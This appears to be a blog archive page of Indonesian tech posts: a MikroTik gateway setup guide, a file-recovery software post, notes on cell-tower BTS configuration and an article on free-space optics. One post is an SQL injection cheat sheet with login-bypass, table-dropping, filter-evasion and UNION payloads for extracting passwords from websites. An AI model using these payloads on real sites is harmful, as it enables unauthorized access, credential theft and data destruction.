Jumat, 12 Februari 2010

Setup Mikrotik sebagai Gateway server



MikroTik RouterOS™, merupakan system operasi Linux base yang diperuntukkan sebagai
network router. Didesain untuk memberikan kemudahan bagi penggunanya. Administrasinya bisa
dilakukan melalui Windows application (WinBox). Selain itu instalasi dapat dilakukan pada
Standard computer PC. PC yang akan dijadikan router mikrotikpun tidak memerlukan resource
yang cukup besar untuk penggunaan standard, misalnya hanya sebagai gateway. Untuk
keperluan beban yang besar ( network yang kompleks, routing yang rumit dll) disarankan untuk
mempertimbangkan pemilihan resource PC yang memadai.
Fasilitas pada mikrotik antara lain sebagai berikut :
- Protokoll routing RIP, OSPF, BGP.
- Statefull firewall
- HotSpot for Plug-and-Play access
- remote winbox GUI admin
Lebih lengkap bisa dilihat di www.mikrotik.com.
Meskipun demikian Mikrotik bukanlah free software, artinya kita harus membeli licensi terhadap
segala fasiltas yang disediakan. Free trial hanya untuk 24 jam saja. Kita bisa membeli software
mikrotik dalam bentuk CD yang diinstall pada Hard disk atau disk on module (DOM). Jika kita
membeli DOM tidak perlu install tetapi tinggal menancapkan DOM pada slot IDE PC kita.
Langkah-langkah berikut adalah dasar-dasar setup mikrotik yang dikonfigurasikan untuk jaringan
sederhana sebagai gateway server.
1. Langkah pertama adalah install Mikrotik RouterOS pada PC atau pasang DOM.
2. Login Pada Mikrotik Routers melalui console :
MikroTik v2.9.7
Login: admin
Password:
Sampai langkah ini kita sudah bisa masuk pada mesin Mikrotik. User default adalah admin
dan tanpa password, tinggal ketik admin kemudian tekan tombol enter.
3. Untuk keamanan ganti password default
[admin@Mikrotik] > password
old password: *****
new password: *****
retype new password: *****
[admin@ Mikrotik]] >
4. Mengganti nama Mikrotik Router, pada langkah ini nama server akan diganti menjadi “Waton”
[admin@Mikrotik] > system identity set name=Waton
[admin@Waton] >
5. Melihat interface pada Mikrotik Router
[admin@Mikrotik] > interface print
Flags: X - disabled, D - dynamic, R - running
# NAME TYPE RX-RATE TX-RATE MTU
0 R ether1 ether 0 0 1500
1 R ether2 ether 0 0 1500
[admin@Mikrotik] >
6. Memberikan IP address pada interface Mikrotik. Misalkan ether1 akan kita gunakan untuk
koneksi ke Internet dengan IP 192.168.0.1 dan ether2 akan kita gunakan untuk network local
kita dengan IP 172.16.0.1
[admin@Waton] > ip address add address=192.168.0.1
netmask=255.255.255.0 interfac
e=ether1
[admin@Waton] > ip address add address=172.16.0.1
netmask=255.255.255.0 interfac
e=ether2
7. Melihat konfigurasi IP address yang sudah kita berikan
[admin@Waton] >ip address print
Flags: X - disabled, I - invalid, D - dynamic
# ADDRESS NETWORK BROADCAST INTERFACE
0 192.168.0.1/24 192.168.0.0 192.168.0.63 ether1
1 172.16.0.1/24 172.16.0.0 172.16.0.255 ether2
[admin@Waton] >
8. Memberikan default Gateway, diasumsikan gateway untuk koneksi internet adalah
192.168.0.254
[admin@Waton] > /ip route add gateway=192.168.0.254
9. Melihat Tabel routing pada Mikrotik Routers
[admin@Waton] > ip route print
Flags: X - disabled, A - active, D - dynamic,
C - connect, S - static, r - rip, b - bgp, o - ospf
# DST-ADDRESS PREFSRC G GATEWAY DISTANCE INTERFACE
0 ADC 172.16.0.0/24 172.16.0.1 ether2
1 ADC 192.168.0.0/26 192.168.0.1 ether1
2 A S 0.0.0.0/0 r 192.168.0.254 ether1
[admin@Waton] >
10. Tes Ping ke Gateway untuk memastikan konfigurasi sudah benar
[admin@Waton] > ping 192.168.0.254
192.168.0.254 64 byte ping: ttl=64 time<1 ttl="64" max =" 0/0.0/0">
11. Setup DNS pada Mikrotik Routers
[admin@Waton] > ip dns set primary-dns=192.168.0.10 allow-remoterequests=
no
[admin@Waton] > ip dns set secondary-dns=192.168.0.11 allow-remoterequests=
no
12. Melihat konfigurasi DNS
[admin@Waton] > ip dns print
primary-dns: 192.168.0.10
secondary-dns: 192.168.0.11
allow-remote-requests: no
cache-size: 2048KiB
cache-max-ttl: 1w
cache-used: 16KiB
[admin@Waton] >
13. Tes untuk akses domain, misalnya dengan ping nama domain
[admin@Waton] > ping yahoo.com
216.109.112.135 64 byte ping: ttl=48 time=250 ms
10 packets transmitted, 10 packets received, 0% packet loss
round-trip min/avg/max = 571/571.0/571 ms
[admin@Waton] >
Jika sudah berhasil reply berarti seting DNS sudah benar.
14. Setup Masquerading, Jika Mikrotik akan kita pergunakan sebagai gateway server maka agar
client computer pada network dapat terkoneksi ke internet perlu kita masquerading.
[admin@Waton] > ip firewall nat add action=masquerade outinterface=
ether1
chain: srcnat
[admin@Waton] >
15. Melihat konfigurasi Masquerading
[admin@Waton] ip firewall nat print
Flags: X - disabled, I - invalid, D - dynamic
0 chain=srcnat out-interface=ether1 action=masquerade
[admin@Waton] >
Setelah langkah ini bisa dilakukan pemeriksaan untuk koneksi dari jaringan local. Dan jika
berhasil berarti kita sudah berhasil melakukan instalasi Mikrotik Router sebagai Gateway
server. Setelah terkoneksi dengan jaringan Mikrotik dapat dimanage menggunakan WinBox
yang bisa di download dari Mikrotik.com atau dari server mikrotik kita. Misal Ip address server
mikrotik kita 192.168.0.1, via browser buka http://192.168.0.1 dan download WinBox dari situ.
Jika kita menginginkan client mendapatkan IP address secara otomatis maka perlu kita setup
dhcp server pada Mikrotik. Berikut langkah-langkahnya :
1.Buat IP address pool
/ip pool add name=dhcp-pool ranges=172.16.0.10-172.16.0.20
2. Tambahkan DHCP Network dan gatewaynya yang akan didistribusikan ke client
Pada contoh ini networknya adalah 172.16.0.0/24 dan gatewaynya 172.16.0.1
/ip dhcp-server network add address=172.16.0.0/24 gateway=172.16.0.1
3. Tambahkan DHCP Server ( pada contoh ini dhcp diterapkan pada interface ether2 )
/ip dhcp-server add interface=ether2 address-pool=dhcp-pool
4. Lihat status DHCP server
[admin@Waton] > ip dhcp-server print
Flags: X - disabled, I - invalid
# NAME INTERFACE RELAY ADDRESS-POOL LEASE-TIME ADD-ARP
0 X dhcp1 ether2
Tanda X menyatakan bahwa DHCP server belum enable maka perlu dienablekan terlebih
dahulu pada langkah 5.
5. Jangan Lupa dibuat enable dulu dhcp servernya
/ip dhcp-server enable 0
kemudian cek kembali dhcp-server seperti langkah 4, jika tanda X sudah tidak ada berarti
sudah aktif.
6. Tes Dari client
Daftar Pustaka
http://mikrotik.com

Simple SQL Injection Tutorial



Udah pada tau kan soal SQL injection?
Yah kalo belum baca deh Tutorialnya (dulu pernah ta buat)
Itu tutorial basic, sekarang kita ke tutorial advance.
Disini ga akan dibahas gimana cara inject nya tapi berbagai syntax yang bisa kita gunakan
untuk menginject suatu website (jika emang bisa diinject).

Oke, lets’ begin

Syntax SQL Injection
1. Commenting out.
Gunanya untuk mengakhiri suatu query, bypass query.
+ SQL Server
Syntax: –
Penggunaan: DROP namatabel;–
+ MySQL
Syntax: #
Penggunaan: DROP namatabel;#

Contoh penggunaan in real life:
* Username: admin’–
* Proses query yang terjadi di server:
SELECT * FROM userlist WHERE username=’admin’–’ AND password=’password’;
Query ini akan memberikan km akses sebagai admin karena query selanjutnya setelah — akan diabaikan

2. Inline comment
Gunanya untuk mengetahui versi SQL server yang digunakan atau untuk bypass script proteksi
+ SQL Server (MySQL juga bisa)
Syntax: /*Comment*/
Penggunaan: DROP/*comment*/namatabel
atau: DR/**/OP/*bypass proteksi*/namatabel
atau: SELECT/*menghindari-spasi*/password/**/FROM/**/userlist

+ MySQL (mendeteksi versi)
Syntax: /*!MYSQL Special SQL*/
Penggunaan: SELECT /*!32302 1/0,*/1 FROM namatabel
Note: Syntax juga bisa digunakan jika versi MySQL lebih tinggi dari 3.23.02 (sesuai query), tidak berfungsi untuk versi dibawahnya

3. Staking queries
Gunanya untuk menyambung 2 buah query dalam 1 transaksi.
+ SQL Server
Syntax: ;
Penggunaan: SELECT * FROM namatabel; DROP namatabel–

4. Pernyataan IF
Ini kunci jika melakukan Blind SQL Injection, juga berguna untuk testing sesuatu yang ga jelas secara akurat
+ SQL Server
Syntax: IF kondisi bagian-true ELSE bagian-false
Penggunaan: IF (1=1) SELECT ‘true’ ELSE SELECT ‘false’

+ MySQL
Syntax: IF(kondisi,bagian-true,bagian-false)
Penggunaan: SELECT IF(1=1,’true’,’false’)

5. Operasi String
Gunanya untuk bypass proteksi
+ SQL Server
Syntax: +
Penggunaan: SELECT login + ‘-’ + password FROM userlist
+ MySQL Server
Syntax: ||
Penggunaan: SELECT login || ‘-’ || password FROM userlist

Note: Jika MySQL server dalam mode ANSI syntax berfunsi. Cara lain adalah dengan menggunakan fungsi CONCAT() dalam MySQL.
Syntax: CONCAT(str1,str2,str3,…)
Penggunaan: SELECT CONCAT(login,password) FROM userlist

6. Union Injection
Gunanya menggabungkan 2 tabel yang berbeda dengan syarat tabel itu harus sama jumlah kolomnya.

Syntax: UNION
Penggunaan: ‘ UNION SELECT * FROM namatabel
atau: ‘ UNION ALL SELECT * FROM namatabel
atau: ‘ UNION SELECT kolom1,kolom2 FROM namatabel
Proses yang terjadi dalam query:
SELECT * FROM user WHERE id=’1′ UNION SELECT kolom1,kolom2 FROM namatabel

Jika tabel tersebut mempunyai kolom yang berbeda, maka dapat ditambahkan null atau 1
Penggunaan: ‘ UNION SELECT 1,kolom1,kolom2 FROM namatabel

Rabu, 15 Juli 2009

Cara Mengembalikan Data Yang Terhapus ?

Ditulis oleh kang Imam R /pada 15 Juli, 2009
Apakah Anda pernah secara tidak sengaja menghapus file Anda, kemudian sudah meng-empty recycle bin? Atau Anda telah mem-format hard disk tapi ingin data Anda kembali? Atau data hilang / rusak karena virus? Atau karena komputer mati atau restart tiba-tiba? Ada cara untuk mengembalikan data yang hilang, yaitu dengan satu software yang sangat lengkap, yaitu Ontrack EasyRecovery Professional. Inilah cara-cara mengembalikan data Anda yang hilang .
Pertama Anda harus download dulu software tersebut, silakan klik di sini untuk download software Ontrack Easy Recovery Professional. Software ini menyediakan sebuah solusi yang sangat komplit sehubungan dengan data yang hilang atau urusan recovery data yang hilang karena:
Virus.
Sektor yang tidak terbaca
Kesalahan aplikasi, system, atau shut down yang tidak normal.
Kerusakan pada critical area.
Ter-format
Penyebab lain yang memungkinkan hilangnya data.
Software ini di-install pada Windows 98 SE, Me, 2000, or XP, dan dapat me-recover data untuk pada semua sistem windows. Software ini memiliki empat feature utama, yaitu:
Disk Diagnostics, yaitu tool untuk mengecek kondisi hardisk Anda apakah masih bagus atau tidak.
Data Recovery, yaitu tool untuk mengembalikan data / file karena terhapus, terformat, dan sebagainya.
Email Repair, yaitu tool untuk mengembalikan data email Outlook Express yang terhapus atau rusak.
File Repair, yaitu tool untuk memperbaiki data / file Microsoft Word, Excel, Access, PowerPoint, dan ZIP (winzip) file yang rusak karena virus atau sebab lain.

Mari kita lihat satu per satu fasilitas yang ada dalam software ini.
1. Disk Diagnostics

Tool yang ada dalam Disk Diagnostics ini adalah:
Data Advisor, untuk membuat disket recovery.
Drive Tests, untuk mengetes kondisi fisik dari hard disk (disk drive).
Jumper Viewer, untuk melihat posisi jumper pada hard disk.
Partition Tests, untuk mengecek kondisi partisi hardisk.
Size Manager, untuk melihat kapasitas hard disk
SMART Tests, digunakan untuk mengetes kondisi Self-Monitoring, Analysis and Reporting Technology pada suatu hardisk.
2. Data Recovery

Tool-tool yang ada dalam Data Recovery ini adalah:
Advanced Recovery, untuk mencari data yang sudah tidak dapat di-recover dengan tool lain, yaitu karena ter-format, ter-partisi, virus, atau hal lain.
Deleted Recovery, untuk mencari data yang sudah dihapus. Ini adalah tool yang paling sering dipakai penulis.
Format Recovery, untuk mencari data pada hard disk yang sudah di-format.
Raw Recovery, untuk mencari file yang hilang berdasarkan signature.
Resume Recovery, semua proses recovery dapat dihentikan sementara dan dilanjutkan pada lain waktu.
Emergency Media, untuk membuat disket atau CD yang digunakan untuk me-recover data / file hilang.
3. Email Repair, digunakan untuk mengembalikan data email Outlook dan Outlook Express yang hilang.

4. File Repair, digunakan untuk mengembalikan file-file Microsoft Office dan ZIP yang rusak. Tool ini dapat memperbaiki file Microsoft Word, Excel, Access, PowerPoint, dan ZIP (winzip) file yang corrupt / rusak karena virus atau sebab lain.

Data atau file yang hilang lebih sulit di-recover jika:
Anda menambahkan file baru setelah Anda menghapus atau memformat hard disk.
Anda menggunakan FAT32 dalam Windows XP.
Demikian cara mengembalikan data yang hilang dengan software EasyRecovery Professional. Semoga data Anda bisa diselamatkan.
Penulis: Oka Mahendra
Sumber : http://tutorialgratis.wordpress.com

Minggu, 14 Juni 2009

Base transceiver station

A base transceiver station or cell site (BTS) is a piece of equipment that facilitates wireless communication between user equipment (UE) and a network. UEs are devices like mobile phones (handsets), WLL phones, computers with wireless internet connectivity, WiFi and WiMAX gadgets etc. The network can be that of any of the wireless communication technologies like GSM, CDMA, WLL, WAN, WiFi, WiMAX etc. BTS is also referred to as the radio base station (RBS), node B (in 3G Networks) or, simply, the base station (BS). For discussion of the LTE standard the abbreviation eNB for enhanced node B is widely used.

Contents

[hide]

[edit] BTS in Mobile Communication

A GSM BTS network is made up of three subsystems: • The Mobile Station (MS) • The Base Station subsystem (BSS) – comprising a BSC and several BTSs • The Network and Switching Subsystem (NSS) – comprising an MSC and associated registers.

Though the term BTS can be applicable to any of the wireless communication standards, it is generally and commonly associated with mobile communication technologies like GSM and CDMA. In this regard, a BTS forms part of the base station subsystem (BSS) developments for system management. It may also have equipment for encrypting and decrypting communications, spectrum filtering tools (band pass filters) etc. antennas may also be considered as components of BTS in general sense as they facilitate the functioning of BTS. Typically a BTS will have several transceivers (TRXs) which allow it to serve several different frequencies and different sectors of the cell (in the case of sectorised base stations). A BTS is controlled by a parent base station controller via the base station control function (BCF). The BCF is implemented as a discrete unit or even incorporated in a TRX in compact base stations. The BCF provides an operations and maintenance (O&M) connection to the network management system (NMS), and manages operational states of each TRX, as well as software handling and alarm collection. The basic structure and functions of the BTS remains the same regardless of the wireless technologies.

[edit] General Architecture

Base transceiver station Antenna in Paris
A mobile BTS

A BTS in general has the following units:

Transceiver (TRX)
Quite widely referred to as the driver receiver (DRX). Basically does transmission and reception of signals. Also does sending and reception of signals to/from higher network entities (like the base station controller in mobile telephony)
Power amplifier (PA)
Amplifies the signal from DRX for transmission through antenna; may be integrated with DRX.
Combiner
Combines feeds from several DRXs so that they could be sent out through a single antenna. Allows for a reduction in the number of antenna used.
Duplexer
For separating sending and receiving signals to/from antenna. Does sending and receiving signals through the same antenna ports (cables to antenna).
Antenna
This is also considered a part of the BTS.
Alarm extension system
Collects working status alarms of various units in the BTS and extends them to operations and maintenance (O&M) monitoring stations.
Control function
Control and manages the various units of BTS including any software. On-the-spot configurations, status changes, software upgrades, etc. are done through the control function.
Baseband receiver unit (BBxx)
Frequency hopping, signal DSP, etc..

[edit] Important terms regarding a mobile BTS

BTS camouflage
Diversity techniques

In order to improve the quality of received signal, often two receiving antennas are used, placed at an equal distance to an uneven multiple of a quarter of wavelength (for 900 MHz the wavelength it is 30 cm). This technique, famous as antenna diversity or diversity in the space, concurs to resolve the problems connected to the fading. The antennas can be spaced horizontally or vertically; in the first case though a greater facility of installation is required, advanced performance is obtained.

Other than antenna or space diversity, there are other diversity techniques like frequency/time diversity, antenna pattern diversity, polarization diversity, etc..

Splitting
The process of creating more coverage and capacity in a wireless system by having more than one cell site cover a particular amount of geography. Each cell site covers a smaller area, with lower power MHz and thus offers the ability to reuse frequencies more times in a larger geographic coverage area, such as a city or MTA.
Sectoring
A cell is subdivided to a sure number of fields, every one of which “is illuminated” from an antenna directive (or panel), that is an antenna that “does not illuminate” in all the directions, but concentrates the flow of power within a particular area of the cell, known as sector. Every field can therefore be considered like one new cell. By using directional antennas, the co-channel interference is reduced. A typical structure is the trisector, also known as clover, in which there are 3 sectors, each one served by separate antennas. Every sector has a separate direction of tracking of 120° with respect to the adjacent ones. If not sectorised, the cell will be served by an omnidirectional antenna, which radiates in all directions. Bisectored cells are also implemented with the antennas serving sectors of 180° separation to one another.

KONFIGURASI BTS

Konfigurasi BTS harus mempertimbangkan beban, perilaku pelanggan, struktur permukaan, untuk menyediakan cakupan layanan frekuensi radio yang optimum di suatu area. Sehingga akan dihasilkan konfigurasi BTS yang berbeda-beda pula.

Konfigurasi Standar

Semua BTS memiliki identitas sel yang berbeda-beda. Sejumlah BTS (untuk kasus tertentu, sebuah BTS) membentuk suatu lokasi area. Gambar di bawah menunjukkan 3 lokasi area dengan 1, 3, 5 BTS. Sistem yang ada biasanya tidak tersinkronisasi (fine-synchronized), yang mencegah handover yang sinkron di antara semua BTS-nya. Untuk daerah urban dengan pertumbuhan kepadatan trafik, yang dapat berubah dengan cepat, dua konfigurasi berikut lebih layak.

bts1.jpg
Gambar BTS dengan konfigurasi standar

Konfigurasi Sel Payung (Umbrella Cell Configuration)

Konfigurasi ini terdiri dari satu BTS dengan daya transmisi yang tinggi dengan antena yang dipasang tinggi dari permukaan yang bertindak sebagai ” payung” untuk sejumlah BTSS dengan daya transmisi rendah dan diameter yang kecil. Awalnya konfigurasi ini kurang meyakinkan karena prinsip frequency reuse tidak dapat diterapkan untuk frekuensi sel payung di semua sel pada area itu dikarenakan interferensi. Interferensi dengan jarak yang lebih jauh menjadi pertimbangan kenapa menara televisi dan radio yang tinggi tidak diperbolehkan sebagai lokasi untuk antena-antena tidak lama sesudah antena digunakan untuk layanan pada awal pembangunan jaringan.

bts2.jpg
Gambar Sel payung dengan 5 sel yang lebih kecil

Konfigurasi sel payung masih mempunyai keunggulan di dalam situasi tertentu yang mebutuhkan pengaturan beban dan peningkatan jaringan. Sebagai contoh, ketika pengguna di mobil sedang bergerakkan pada kecepatan tinggi melalui suatu jaringan dengan sel-sel yang kecil, diperlukan proses handover yang hampir berurutan dari satu sel ke sel berikutnya adalah untuk memelihara suatu panggilan yang aktif. Situasi ini bisa diterapkan di setiap lingkungan kota yang banyak jalan raya. Akibatnya, handover ini menghasilkan peningkatan beban pensinyalan yang sangat berpengaruh untuk jaringan seperti halnya juga penurunan kualitas sinyal yang tak tertahankan bagi pengguna akhir. Pada sisi lain, sel kecil diperlukan untuk mengatasi tuntutan akan coverage di sebuah lingkungan kota.

Untuk mengatasi dilema ini maka digunakan sel kecil dan besar bersama-sama, yang disebut dengan konfigurasi sel payung (umbrella cell configuration). Sel payung dapat terlindung dari kelebihan beban akan trafik dari pergerakan pelanggan yang cepat. Kecepatan gerak pelanggan dapat ditentukan untuk memenuhi akurasi akan perubahan dari parameter timing advance (TA) atau delay propagasi. Nilainya terus diperbaharui di BSC setiap 480 milidetik (ms) dengan data yang disiapkan di dalam pesan MEAS_RES. BSC memutuskan apakah menggunakan sel payung atau sel-sel kecil lainnya. GSM belum memberi spesifikasi untuk konfigurasi sel payung, yang memerlukan fungsi tambahan di dalam BSC, yang merupakan fungsi pabrikan yang bersifat propietary.

Konfigurasi BTS Sektorisasi (Ko-lokasi)

Konfigurasi ini mengacu pada suatu formasi di mana beberapa BTS ditempatkan di titik lokasi tower yang sama. Dalam sebuah antenna di BS (Base Station), radiasi akan menyebar secara merata pada semua arah. Penambahkan beberapa antenna pengarah, akan membagi sektor tersebut menjadi 3 hingga 6 area yang lebih jelas (Masing-masing 120 dan 60 derajat atau mungkin 180 derajat), sehingga setiap sektor dapat beroperasi dengan frekuensi yang sama.

Masing-masing sel memiliki satu buah BTS yang digunakan untuk mengirim / menerima sinyal dan juga untuk interkoneksi antara Mobile Station (MS) dengan BSC (Base Station Controller). Sel masih dibagi lagi menjadi beberapa sektor, dimana misalnya Telkomsel dan beberapa operator lain biasanya membagi satu buah sel menjadi tiga sektor. Masing-masing sektor memiliki satu buah antena.

bts3.jpg

Gambar Antena Tiga Sektor

Biasanya diterapkan dengan beberapa BTS dengan sedikit TRX dan daya transmisi rendah. Seperti konfigurasi sel payung, ini digunakan kebanyakan di area dengan kepadatan populasi tinggi atau lingkungan urban. Konfigurasi ini mempunyai keuntungan sebagai berikut :

  • Cocok untuk suatu koneksi serial dari Abis-Interface. Konfigurasi ini berpotensi untuk menyelamatkan biaya-biaya untuk jalur akses ke BSC. Kalau tidak, maka lokasi yang jamak juga perlu jalur sambungan yang banyak.
  • Dari sudut pandang radio, keuntungan penggunaan sel 120 adalah frequency reuse di dalam satu sektor (satu arah) yang tidak menimbulkan interferensi dibanding dengan konfigurasi sel dengan antena omnidirectional.
  • Sektorisasi mempermudah permintaan akan frekuensi karena mampu meningkakan kapasitas dengan tetap mempertahankan radius sel dan memperkecil banyaknya sel.

bts4.jpg
Gambar Cakupan suatu area dengan 3 BTS sektorisasi. Setiap BTS melingkupi bagian 120

Karena penyektoran mengurangi wilayah cakupan sel dari kelompok kanal tertentu, banyaknya handoff juga akan bertambah. Namun demikian, jika banyak BTS baru yang menggunakan metode penyektoran ini, maka proses handoff MS dari satu sektor ke sektor lain dapat dilakukan tanpa campur tangan MSC.Kenyataannya, handover yang tersinkronisasi (fine-synchronized) mudah diterapkan di antara sel-selnya. Dengan demikian proses handoff seringkali sudah bukan merupakan masalah pokok lagi. Namun demikian, satu kanal dari tiap BTS harus digunakan untuk pembuatan BCCH (Broadcast Control Channel).

Kamis, 04 Juni 2009

Building transformative businesses to solve the problems of poverty

Masih Terganjal Masalah Cuaca
BELUM meratanya penggunaan serat optik atau alat transmisi lain 
untuk menyalurkan data, disebut-sebut menjadi penyebab belum 
terwujudnya jaringan transmisi data kecepatan tinggi.
Kabel tembaga biasa dan kabel koaksial yang menghubungkan bangunan 
ke sistem telepon atau televisi kabel tidak mempunyai kapasitas 
gigabit-per-detik untuk menyalurkan data. Sementara penggunaan 
serat optik terlalu mahal biaya instalasinya (antara US$100 ribu 
dan US$500 ribu untuk jarak sekitar 1 kilometer). Akibatnya, 
hanya dua sampai lima persen jaringan nasional terpasang di Amerika 
Serikat.

Banyak teknologi transmisi data kecepatan tinggi tanpa serat 
optik yang diluncurkan, termasuk radio microwave, digital subscriber 
lines dan modem kabel. Tapi, yang dinilai lebih besar kemungkinan 
suksesnya adalah teknologi free-space optics (FSO). Sejak ditemukan 
di era 1970-an, FSO mengandalkan pada transceiver laser inframerah 
berkekuatan rendah yang mampu menyalurkan data gigabit per detik.
Laser inframerah ini beroperasi pada jalur frekuensi elektromagnetik 
tanpa izin yang cukup aman untuk mata. Tapi sayangnya, jangkauan 
laser terbatas. Sesuai kondisi cuaca, jaringan FSO dapat meliputi 
area sampai satu kilometer. Untuk mengatasi cuaca buruk, tiap 
transceiver optikal dapat dikoneksikan dengan transceiver lain 
dan membentuk jaringan. Cara ini dapat menjamin tersiarnya data 
dari pusat ke seluruh area.
Peralatan FSO komersial sekarang dapat menyebarkan data dengan 
jumlah lebih besar dibanding subscriber lines atau kabel koaksial, 
yaitu antara 10 megabits sampai 1,25 gigabits per detik, jumlah 
yang cukup untuk kebanyakan aplikasi dan layanan broadband. Diode 
laser bahkan bisa lebih mempertinggi penyaluran data yaitu sampai 
9,6 gigabits per detik. Walau alat itu belum diadaptasi untuk 
penggunaan FSO, sistemnya dapat menyiarkan gelombang optik sampai 
100 triliun per detiknya.
Biaya sistem FSO juga dapat lebih murah sepertiga sampai sepersepuluh 
dari biaya instalasi serat optik di bawah tanah. Kalau cara menggali 
butuh waktu enam sampai 12 bulan, jaringan FSO dapat dipasang 
hanya dalam hitungan hari. Tak heran makin banyak perusahaan 
yang mengembangkan teknologi FSO. Kalau sesuai dengan yang diprediksikan, 
perusahaan riset Strategis Group yang dikutip Sciam.com menyatakan 
industri ini dapat tumbuh dari nilai US$120 juta tahun 2000 menjadi 
lebih dari US$2 miliar di tahun 2006.
FSO memanfaatkan teknik dan peralatan yang semula diciptakan 
untuk sistem kabel fiber optik. Sinyal data dikirim dari transmitter 
laser di atap bangunan. Efisiensi pengirimannya diperkuat dengan 
memaketkan data sehingga bisa dikirim secara individual. Sebagai 
tambahan, FSO dapat mendukung teknik wavelength division multiplexing 
(WDM) sehingga satu jalur optik membawa sampai puluhan kanal 
sinyal yang berlainan.
Terhalang kabut
Halangan dari kabut telah memperlambat penerapan sistem FSO secara 
komersial. Kabut, hujan, dan salju dapat membatasi jangkauan 
maksimum dari jaringan FSO. Misalnya pada kabut yang lumayan 
tebal, sinyal optik bisa kehilangan 90% kekuatannya untuk tiap 
jarak 50 meter. Jadi, jaringan FSO harus didesain supaya bisa 
menembus kondisi kabut tersebut.
Masalah lainnya adalah ketersediaan jaringan. Kalau teknologi 
FSO dipakai untuk jaringan korporat (misalnya menghubungkan dua 
kantor perusahaan yang terletak dalam gedung yang terpisah), 
99,9% uptime bisa diterima. Artinya, hanya terjadi sekitar sembilan 
jam kekosongan untuk periode setahun. Tapi, pada layanan ke publik, 
diperlukan ketersediaan jaringan sampai 99,999% atau hanya terjadi 
sekitar lima menit kekosongan selama satu tahun.
Untuk memecahkan masalah ini, sistem FSO dapat dibuat terbatas 
jangkauannya dan membentuk jaringan 'sarang laba-laba' sehingga 
bangunan yang jauh pun terjangkau. Dalam jaringan ini, bangunan 
yang paling dekat dengan terminal fiber optik diperlengkapi semacam 
'sambungan' FSO untuk dikoneksikan ke bangunan lain.
Saingan free-space optics adalah radio mikrowave point-to-point. 
Teknologi ini tidak terhalang oleh kabut. Kelemahannya, perlu 
izin untuk mengoperasikan kebanyakan jalur radio, lalu spektrum 
yang tersedia pada jalur cukup terbatas sehingga kapasitasnya 
pun berkurang.
Radio mikrowave ini dari sudut biaya lebih mahal dibanding sistem 
FSO dan ada kemungkinan mengalami gangguan transmisi. Lebih jauh 
lagi, radio mikrowave cenderung mengalami gangguan sinyal selama 
hujan lebat, terutama pada frekuensi-frekuensi tinggi yang menyediakan 
lebih banyak spektrum.
Bila radio mikrowave dioperasikan pada frekuensi 60 gigahertz, 
teknologinya mampu menjadi pelengkap free-space opics. Komisi 
Komunikasi Federal (FCC) di Amerika Serikat baru-baru ini telah 
mengalokasikan beberapa spektrum non-izin pada jalur 60 GHz bagi 
aplikasi berkecepatan tinggi.
Semakin banyak alokasi spektrum di 60 GHZ mengimplikasikan semakin 
banyak kapasitas yang tersedia dan skema modulasi yang lebih 
sederhana serta lebih murah dapat dipakai. Karena hujan lebat 
(sebagai penghalang jaringan radio) dan kabut tebal (penghalang 
untuk sistem FSO) tidak pernah terjadi bersamaan, ada kesempatan 
untuk mempertinggi kemampuan jaringan dengan mengombinasikan 
radio 60 GHZ dan FSO. Penyatuan kedua teknologi ini berarti sistem 
yang dihasilkannya akan lebih bisa diandalkan pada jarak yang 
semakin jauh juga.